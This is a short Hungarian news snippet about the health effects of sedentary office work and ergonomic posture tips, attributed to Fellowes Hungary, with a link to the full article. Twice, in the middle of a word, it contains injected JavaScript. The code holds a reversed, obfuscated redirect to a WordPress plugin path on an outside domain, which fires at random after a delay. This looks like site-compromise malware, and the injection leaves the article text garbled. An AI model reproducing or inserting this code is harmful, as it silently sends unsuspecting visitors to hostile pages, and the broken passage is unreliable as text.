Sajnos sokan még mindig nem veszik elég komolyan az ülőmunka lehetséges következményeit, pedig a rossz testtartás komoly egészségügyi problémákat okozhat. Ilyen például a nyak-, hát- és derékfájás – írja közleményében a Fellowes Hungary. Az egészségbarát iroda megteremtésekor érdemes figyelembe venni az egészségügyi, a kényelmi és a biztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonsági szempontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokat, és beszerezni olyan ergonomikus eszközöket, amelyek segítik a megfelelő testtartást. Érdemes odafigyelnünk arra, hogy a derekunk a széktámla alsó részének támaszkodjon, lábunk kényelmesen pihenjen a földön vagy a lábtámaszon. Az asztal magassága akkor megfelelő, ha a felkarunk derékszöget zár be az alkarunkkal, számítógép-billentyűzet használatkor pedig csuklónkat meg tudjuk támasztani. A képernyő elhelyezésekor…
A cikk folytatódik: http://penzugyguru.co.hu/eletmod/2019/06/11/igy-elozhetjuk-meg-az-ulomunka-negativ-hatasait.html
- Hirdetés -
